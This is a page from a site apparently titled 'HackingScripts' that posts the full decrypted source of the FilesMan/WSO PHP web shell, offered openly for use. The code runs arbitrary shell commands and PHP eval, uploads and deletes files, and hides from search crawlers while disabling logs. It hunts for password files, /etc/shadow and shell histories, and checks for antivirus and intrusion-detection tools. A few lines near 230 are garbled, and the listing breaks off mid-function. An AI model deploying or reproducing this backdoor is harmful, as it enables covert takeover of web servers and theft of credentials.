HackingScripts

Hack Scripts for everybody

FilesMan Shell (decrypted)

09 Feb 2014

This is the decrypted version of the encrypted FilesMan shell.

FilesMan Shell Source Code (decrypted)

   1 <?php #v2.3     //Version
   2 $auth_pass = "";   //75b43eac8d215582f6bcab4532eb854e 
   3 $color = "#00FF66";    //Colour
   4 $default_action = "FilesMan";
   5 $default_charset = "Windows-1251";
   6 if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
   7     $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
   8     foreach($userAgents as $agent)
   9         if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
  10             header('HTTP/1.0 404 Not Found');
  11             exit;
  12         }
  13 }
  14 @session_start();
  15 @error_reporting(0);
  16 @ini_set('error_log',NULL);
  17 @ini_set('log_errors',0);
  18 @ini_set('max_execution_time',0);
  19 @set_time_limit(0);
  20 @set_magic_quotes_runtime(0);
  21 @define('VERSION', '2.3');
  22 if( get_magic_quotes_gpc() ) {
  23    function WSOstripslashes($array) {
  24        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  25    }
  26    $_POST = WSOstripslashes($_POST);
  27 }
  28 function wsoLogin() {
  29    die("<center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></center>");
  30 }
  31 if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  32    if( empty( $auth_pass ) ||
  33        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  34        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  35    else
  36        wsoLogin();
  37  
  38 if( strtolower( substr(PHP_OS,0,3) ) == "win" )
  39    $os = 'win';
  40 else
  41    $os = 'nix';
  42 $safe_mode = @ini_get('safe_mode');
  43 $disable_functions = @ini_get('disable_functions');
  44 $home_cwd = @getcwd();
  45 if( isset( $_POST['c'] ) )
  46    @chdir($_POST['c']);
  47 $cwd = @getcwd();
  48 if( $os == 'win') {
  49    $home_cwd = str_replace("\\", "/", $home_cwd);
  50    $cwd = str_replace("\\", "/", $cwd);
  51 }
  52 if( $cwd[strlen($cwd)-1] != '/' )
  53    $cwd .= '/';
  54  
  55 if($os == 'win')
  56    $aliases = array(
  57        "List Directory" => "dir",
  58        "Find index.php in current dir" => "dir /s /w /b index.php",
  59        "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  60        "Show active connections" => "netstat -an",
  61        "Show running services" => "net start",
  62        "User accounts" => "net user",
  63        "Show computers" => "net view",
  64        "ARP Table" => "arp -a",
  65        "IP Configuration" => "ipconfig /all"
  66    );
  67 else
  68    $aliases = array(
  69        "List dir" => "ls -lha",
  70        "list file attributes on a Linux second extended file system" => "lsattr -va",
  71        "show opened ports" => "netstat -an | grep -i listen",
  72        "Find" => "",
  73        "find all suid files" => "find / -type f -perm -04000 -ls",
  74        "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  75        "find all sgid files" => "find / -type f -perm -02000 -ls",
  76        "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  77        "find config.inc.php files" => "find / -type f -name config.inc.php",
  78        "find config* files" => "find / -type f -name \"config*\"",
  79        "find config* files in current dir" => "find . -type f -name \"config*\"",
  80        "find all writable folders and files" => "find / -perm -2 -ls",
  81        "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  82        "find all service.pwd files" => "find / -type f -name service.pwd",
  83        "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  84        "find all .htpasswd files" => "find / -type f -name .htpasswd",
  85        "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  86        "find all .bash_history files" => "find / -type f -name .bash_history",
  87        "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  88        "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  89        "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  90        "Locate" => "",
  91        "locate httpd.conf files" => "locate httpd.conf",
  92        "locate vhosts.conf files" => "locate vhosts.conf",
  93        "locate proftpd.conf files" => "locate proftpd.conf",
  94        "locate psybnc.conf files" => "locate psybnc.conf",
  95        "locate my.conf files" => "locate my.conf",
  96        "locate admin.php files" =>"locate admin.php",
  97        "locate cfg.php files" => "locate cfg.php",
  98        "locate conf.php files" => "locate conf.php",
  99        "locate config.dat files" => "locate config.dat",
 100        "locate config.php files" => "locate config.php",
 101        "locate config.inc files" => "locate config.inc",
 102        "locate config.inc.php" => "locate config.inc.php",
 103        "locate config.default.php files" => "locate config.default.php",
 104        "locate config* files " => "locate config",
 105        "locate .conf files"=>"locate '.conf'",
 106        "locate .pwd files" => "locate '.pwd'",
 107        "locate .sql files" => "locate '.sql'",
 108        "locate .htpasswd files" => "locate '.htpasswd'",
 109        "locate .bash_history files" => "locate '.bash_history'",
 110        "locate .mysql_history files" => "locate '.mysql_history'",
 111        "locate .fetchmailrc files" => "locate '.fetchmailrc'",
 112        "locate backup files" => "locate backup",
 113        "locate dump files" => "locate dump",
 114        "locate priv files" => "locate priv"
 115    );
 116  
 117 function wsoHeader() {
 118    if(empty($_POST['charset']))
 119        $_POST['charset'] = $GLOBALS['default_charset'];
 120    global $color;
 121    echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "- WSO " . VERSION ."</title> 
 122 <style> 
 123 body{background-color:#444;color:#e1e1e1;}
 124 body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
 125 table.info{ color:#fff;background-color:#222; }
 126 span,h1,a{ color: $color !important; }
 127 span{ font-weight: bolder; }
 128 h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
 129 div.content{ padding: 5px;margin-left:5px;background-color:#333; }
 130 a{ text-decoration:none; }
 131 a:hover{ text-decoration:underline; }
 132 .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
 133 .bigarea{ width:100%;height:250px; }
 134 input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
 135 form{ margin:0px; }
 136 #toolsTbl{ text-align:center; }
 137 .toolsInp{ width: 300px }
 138 .main th{text-align:left;background-color:#5e5e5e;}
 139 .main tr:hover{background-color:#5e5e5e}
 140 .l1{background-color:#444}
 141 pre{font-family:Courier,Monospace;}
 142 </style> 
 143 <script> 
 144     var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
 145     var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
 146     var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
 147     var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':addslashes(htmlspecialchars($_POST['p1']))) ."';
 148     var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p2']))) ."';
 149     var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p3']))) ."';
 150   function set(a,c,p1,p2,p3,charset) {
 151       if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
 152       if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
 153       if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
 154       if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
 155       if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
 156       if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
 157   }
 158   function g(a,c,p1,p2,p3,charset) {
 159       set(a,c,p1,p2,p3,charset);
 160       document.mf.submit();
 161   }
 162   function a(a,c,p1,p2,p3,charset) {
 163       set(a,c,p1,p2,p3,charset);
 164       var params = 'ajax=true';
 165       for(i=0;i<document.mf.elements.length;i++)
 166           params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
 167       sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
 168   }
 169   function sr(url, params) {
 170       if (window.XMLHttpRequest)
 171           req = new XMLHttpRequest();
 172       else if (window.ActiveXObject)
 173           req = new ActiveXObject('Microsoft.XMLHTTP');
 174         if (req) {
 175             req.onreadystatechange = processReqChange;
 176             req.open('POST', url, true);
 177             req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
 178             req.send(params);
 179         }
 180   }
 181   function processReqChange() {
 182       if( (req.readyState == 4) )
 183           if(req.status == 200) {
 184               var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
 185               var arr=reg.exec(req.responseText);
 186               eval(arr[2].substr(0, arr[1]));
 187           } else alert('Request error!');
 188   }
 189 </script> 
 190 <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'> 
 191 <form method=post name=mf style='display:none;'> 
 192 <input type=hidden name=a> 
 193 <input type=hidden name=c> 
 194 <input type=hidden name=p1> 
 195 <input type=hidden name=p2> 
 196 <input type=hidden name=p3> 
 197 <input type=hidden name=charset> 
 198 </form>";
 199    $freeSpace = @diskfreespace($GLOBALS['cwd']);
 200    $totalSpace = @disk_total_space($GLOBALS['cwd']);
 201    $totalSpace = $totalSpace?$totalSpace:1;
 202    $release = @php_uname('r');
 203    $kernel = @php_uname('s');
 204    $millink = 'http://milw0rm.com/search.php?dong=';
 205    if( strpos('Linux', $kernel) !== false )
 206        $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
 207    else
 208        $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
 209    if(!function_exists('posix_getegid')) {
 210        $user = @get_current_user();
 211        $uid = @getmyuid();
 212        $gid = @getmygid();
 213        $group = "?";
 214    } else {
 215        $uid = @posix_getpwuid(@posix_geteuid());
 216        $gid = @posix_getgrgid(@posix_getegid());
 217        $user = $uid['name'];
 218        $uid = $uid['uid'];
 219        $group = $gid['name'];
 220        $gid = $gid['gid'];
 221    }
 222    $cwd_links = '';
 223    $path = explode("/", $GLOBALS['cwd']);
 224    $n=count($path);
 225    for($i=0;$i<$n-1;$i++) {
 226        $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
 227 
 228        for($j=0;$j<=$i;$j++)
 229 
 230            $cwd_links .= $path[$j].';/'$cwd_links
 231 
 232        . )'= "">".$path[$i]."/</a>";
 233   }
 234   $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
 235   $opt_charsets = '';
 236   foreach($charsets as $item)
 237       $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
 238   $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
 239   if(!empty($GLOBALS['auth_pass']))
 240       $m['Logout'] = 'Logout';
 241   $m['Self remove'] = 'SelfRemove';
 242   $menu = '';
 243   foreach($m as $k => $v)
 244       $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
 245   $drives = "";
 246   if ($GLOBALS['os'] == 'win') {
 247       foreach( range('c','z') as $drive )
 248       if (is_dir($drive.':\\'))
 249           $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
 250   }
 251   echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
 252        '<td><nobr>'.substr(@php_uname(), 0, 120).'  <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.wsoViewSize($totalSpace).' <span>Free:</span> '.wsoViewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.wsoPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
 253         '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"].'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
 254         '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
 255 }
 256  
 257 function wsoFooter() {
 258    $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
 259     echo "
 260 </div> 
 261 <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'> 
 262   <tr> 
 263       <td><form onsubmit='g(null,this.c.value);return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td> 
 264       <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> 
 265   </tr><tr> 
 266       <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span><br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form>$is_writable</td> 
 267       <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form>$is_writable</td> 
 268   </tr><tr> 
 269       <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td> 
 270       <td><form method='post' ENCTYPE='multipart/form-data'> 
 271       <input type=hidden name=a value='FilesMAn'> 
 272       <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'> 
 273       <input type=hidden name=p1 value='uploadFile'> 
 274       <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'> 
 275       <span>Upload file:</span><br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form>$is_writable</td> 
 276   </tr></table></div></body></html>";
 277 }
 278  
 279 if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
 280 if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
 281 function wsoEx($in) {
 282    $out = '';
 283    if(function_exists('exec')) {
 284        @exec($in,$out);
 285        $out = @join("\n",$out);
 286    }elseif(function_exists('passthru')) {
 287        ob_start();
 288        @passthru($in);
 289        $out = ob_get_clean();
 290    }elseif(function_exists('system')) {
 291        ob_start();
 292        @system($in);
 293        $out = ob_get_clean();
 294    }elseif(function_exists('shell_exec')) {
 295        $out = shell_exec($in);
 296    }elseif(is_resource($f = @popen($in,"r"))) {
 297        $out = "";
 298        while(!@feof($f))
 299            $out .= fread($f,1024);
 300        pclose($f);
 301    }
 302    return $out;
 303 }
 304 function wsoViewSize($s) {
 305    if($s >= 1073741824)
 306        return sprintf('%1.2f', $s / 1073741824 ). ' GB';
 307    elseif($s >= 1048576)
 308        return sprintf('%1.2f', $s / 1048576 ) . ' MB';
 309    elseif($s >= 1024)
 310        return sprintf('%1.2f', $s / 1024 ) . ' KB';
 311    else
 312        return $s . ' B';
 313 }
 314  
 315 function wsoPerms($p) {
 316    if (($p & 0xC000) == 0xC000)$i = 's';
 317    elseif (($p & 0xA000) == 0xA000)$i = 'l';
 318    elseif (($p & 0x8000) == 0x8000)$i = '-';
 319    elseif (($p & 0x6000) == 0x6000)$i = 'b';
 320    elseif (($p & 0x4000) == 0x4000)$i = 'd';
 321    elseif (($p & 0x2000) == 0x2000)$i = 'c';
 322    elseif (($p & 0x1000) == 0x1000)$i = 'p';
 323    else $i = 'u';
 324    $i .= (($p & 0x0100) ? 'r' : '-');
 325    $i .= (($p & 0x0080) ? 'w' : '-');
 326    $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
 327    $i .= (($p & 0x0020) ? 'r' : '-');
 328    $i .= (($p & 0x0010) ? 'w' : '-');
 329    $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
 330    $i .= (($p & 0x0004) ? 'r' : '-');
 331    $i .= (($p & 0x0002) ? 'w' : '-');
 332    $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
 333    return $i;
 334 }
 335 function wsoPermsColor($f) {
 336    if (!@is_readable($f))
 337        return '<font color=#FF0000>'.wsoPerms(@fileperms($f)).'</font>';
 338    elseif (!@is_writable($f))
 339        return '<font color=white>'.wsoPerms(@fileperms($f)).'</font>';
 340    else
 341        return '<font color=#00BB00>'.wsoPerms(@fileperms($f)).'</font>';
 342 }
 343 if(!function_exists("scandir")) {
 344    function scandir($dir) {
 345        $dh  = opendir($dir);
 346        while (false !== ($filename = readdir($dh))) {
 347            $files[] = $filename;
 348        }
 349        return $files;
 350    }
 351 }
 352 function wsoWhich($p) {
 353    $path = wsoEx('which '.$p);
 354    if(!empty($path))
 355        return $path;
 356    return false;
 357 }
 358 function actionSecInfo() {
 359    wsoHeader();
 360    echo '<h1>Server security information</h1><div class=content>';
 361    function wsoSecParam($n, $v) {
 362        $v = trim($v);
 363        if($v) {
 364            echo '<span>'.$n.': </span>';
 365            if(strpos($v, "\n") === false)
 366                echo $v.'<br>';
 367            else
 368                echo '<pre class=ml1>'.$v.'</pre>';
 369        }
 370    }
 371  
 372    wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
 373    wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
 374    wsoSecParam('Open base dir', @ini_get('open_basedir'));
 375    wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
 376    wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
 377    wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
 378    $temp=array();
 379    if(function_exists('mysql_get_client_info'))
 380        $temp[] = "MySql (".mysql_get_client_info().")";
 381    if(function_exists('mssql_connect'))
 382        $temp[] = "MSSQL";
 383    if(function_exists('pg_connect'))
 384        $temp[] = "PostgreSQL";
 385    if(function_exists('oci_connect'))
 386        $temp[] = "Oracle";
 387    wsoSecParam('Supported databases', implode(', ', $temp));
 388    echo '<br>';
 389  
 390    if( $GLOBALS['os'] == 'nix' ) {
 391        $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
 392        $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
 393        $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
 394        wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
 395        wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
 396        wsoSecParam('OS version', @file_get_contents('/proc/version'));
 397        wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
 398        if(!$GLOBALS['safe_mode']) {
 399            echo '<br>';
 400            $temp=array();
 401            foreach ($userful as $item)
 402                if(wsoWhich($item)){$temp[]=$item;}
 403            wsoSecParam('Userful', implode(', ',$temp));
 404            $temp=array();
 405            foreach ($danger as $item)
 406                if(wsoWhich($item)){$temp[]=$item;}
 407            wsoSecParam('Danger', implode(', ',$temp));
 408            $temp=array();
 409            foreach ($downloaders as $item)
 410                if(wsoWhich($item)){$temp[]=$item;}
 411            wsoSecParam('Downloaders', implode(', ',$temp));
 412            echo '<br/>';
 413             wsoSecParam('HDD space', wsoEx('df -h'));
 414            wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
 415        }
 416    } else {
 417        wsoSecParam('OS Version',wsoEx('ver'));
 418        wsoSecParam('Account Settings',wsoEx('net accounts'));
 419        wsoSecParam('User Accounts',wsoEx('net user'));
 420    }
 421    echo '</div>';
 422    wsoFooter();
 423 }
 424  
 425 function actionPhp() {
 426    if( isset($_POST['ajax']) ) {
 427        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
 428        ob_start();
 429        eval($_POST['p1']);
 430        $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'&#92;&#48;")."';\n";
 431        echo strlen($temp), "\n", $temp;
 432        exit;
 433    }
 434    wsoHeader();
 435    if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
 436        echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
 437        ob_start();
 438        phpinfo();
 439        $tmp = ob_get_clean();
 440         $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
 441        $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
 442        echo str_replace('h1','h2',$tmp).'</div><br>';
 443    }
 444    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
 445        @$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
 446        echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
 447    echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
 448    if(!empty($_POST['p1'])) {
 449        ob_start();
 450        eval($_POST['p1']);
 451        echo htmlspecialchars(ob_get_clean());
 452    }
 453    echo '</pre></div>';
 454    wsoFooter();
 455 }
 456  
 457 function actionFilesMan() {
 458    wsoHeader();
 459    echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
 460    if(!empty($_POST['p1'])) {
 461        switch($_POST['p1']) {
 462            case 'uploadFile':
 463                if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
 464                    echo "Can't upload file!";
 465                break;
 466            case 'mkdir':
 467                if(!@mkdir($_POST['p2']))
 468                    echo "Can't create new dir";
 469                break;
 470            case 'delete':
 471                function deleteDir($path) {
 472                    $path = (substr($path,-1)=='/') ? $path:$path.'/';
 473                    $dh  = opendir($path);
 474                    while ( ($item = readdir($dh) ) !== false) {
 475                        $item = $path.$item;
 476                        if ( (basename($item) == "..") || (basename($item) == ".") )
 477                            continue;
 478                        $type = filetype($item);
 479                        if ($type == "dir")
 480                            deleteDir($item);
 481                        else
 482                            @unlink($item);
 483                    }
 484                    closedir($dh);
 485                    rmdir($path);
 486                }
 487                if(is_array(@$_POST['f']))
 488                    foreach($_POST['f'] as $f) {
 489                        $f = urldecode($f);
 490                        if(is_dir($f))
 491                            deleteDir($f);
 492                        else
 493                            @unlink($f);
 494                    }
 495                break;
 496            case 'paste':
 497                if($_SESSION['act'] == 'copy') {
 498                    function copy_paste($c,$s,$d){
 499                        if(is_dir($c.$s)){
 500                            mkdir($d.$s);
 501                            $h = @opendir($c.$s);
 502                            while (($f = @readdir($h)) !== false)
 503                                if (($f != ".") and ($f != "..")) {
 504                                    copy_paste($c.$s.'/',$f, $d.$s.'/');
 505                                }
 506                        } elseif(is_file($c.$s)) {
 507                            @copy($c.$s, $d.$s);
 508                        }
 509                    }
 510                    foreach($_SESSION['f'] as $f)
 511                        copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
 512                } elseif($_SESSION['act'] == 'move') {
 513                    function move_paste($c,$s,$d){
 514                        if(is_dir($c.$s)){
 515                            mkdir($d.$s);
 516                            $h = @opendir($c.$s);
 517                            while (($f = @readdir($h)) !== false)
 518                                if (($f != ".") and ($f != "..")) {
 519                                    copy_paste($c.$s.'/',$f, $d.$s.'/');
 520                                }
 521                        } elseif(@is_file($c.$s)) {
 522                            @copy($c.$s, $d.$s);
 523                        }
 524                    }
 525                    foreach($_SESSION['f'] as $f)
 526                        @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
 527                } elseif($_SESSION['act'] == 'zip') {
 528                    if(class_exists('ZipArchive')) {
 529                         $zip = new ZipArchive();
 530                         if ($zip->open('wso_'.date("Ymd_His").'.zip', (int)@eval('return ZIPARCHIVE::CREATE;'))) {
 531                             chdir($_SESSION['c']);
 532                             foreach($_SESSION['f'] as $f) {
 533                                 if(@is_file($_SESSION['c'].$f))
 534                                     $zip->addFile($_SESSION['c'].$f, $f);
 535                                 elseif(@is_dir($_SESSION['c'].$f)) {
 536                                     $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
 537                                     foreach ($iterator as $key=>$value) {
 538                                         $zip->addFile(realpath($key), $key);
 539                                     }
 540                                 }
 541                             }
 542                             chdir($GLOBALS['cwd']);
 543                             $zip->close();
 544                         }
 545                     }
 546                } elseif($_SESSION['act'] == 'unzip') {
 547                    if(class_exists('ZipArchive')) {
 548                         $zip = new ZipArchive();
 549                         foreach($_SESSION['f'] as $f) {
 550                             if($zip->open($_SESSION['c'].$f)) {
 551                                 $zip->extractTo($GLOBALS['cwd']);
 552                                 $zip->close();
 553                             }
 554                         }
 555                     }
 556                }
 557                unset($_SESSION['f']);
 558                break;
 559            default:
 560                if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')||($_POST['p1'] == 'zip')||($_POST['p1'] == 'unzip')) ) {
 561                    $_SESSION['act'] = @$_POST['p1'];
 562                    $_SESSION['f'] = @$_POST['f'];
 563                    foreach($_SESSION['f'] as $k => $f)
 564                        $_SESSION['f'][$k] = urldecode($f);
 565                    $_SESSION['c'] = @$_POST['c'];
 566                }
 567                break;
 568        }
 569    }
 570    $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
 571    if($dirContent === false) {   echo 'Can\'t open this folder!';wsoFooter(); return; }
 572    global $sort;
 573    $sort = array('name', 1);
 574    if(!empty($_POST['p1'])) {
 575        if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
 576            $sort = array($match[1], (int)$match[2]);
 577    }
 578 echo "<script> 
 579   function sa() {
 580       for(i=0;i<document.files.elements.length;i++)
 581           if(document.files.elements[i].type == 'checkbox')
 582               document.files.elements[i].checked = document.files.elements[0].checked;
 583   }
 584 </script> 
 585 <table width='100%' class='main' cellspacing='0' cellpadding='2'> 
 586 <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
 587    $dirs = $files = array();
 588    $n = count($dirContent);
 589    for($i=0;$i<$n;$i++) {
 590        $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
 591        $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
 592        $tmp = array('name' => $dirContent[$i],
 593                     'path' => $GLOBALS['cwd'].$dirContent[$i],
 594                     'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
 595                     'perms' => wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),
 596                     'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
 597                     'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
 598                     'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
 599                    );
 600        if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
 601            $files[] = array_merge($tmp, array('type' => 'file'));
 602        elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
 603            $dirs[] = array_merge($tmp, array('type' => 'link'));
 604        elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
 605            $dirs[] = array_merge($tmp, array('type' => 'dir'));
 606    }
 607    $GLOBALS['sort'] = $sort;
 608    function wsoCmp($a, $b) {
 609        if($GLOBALS['sort'][0] != 'size')
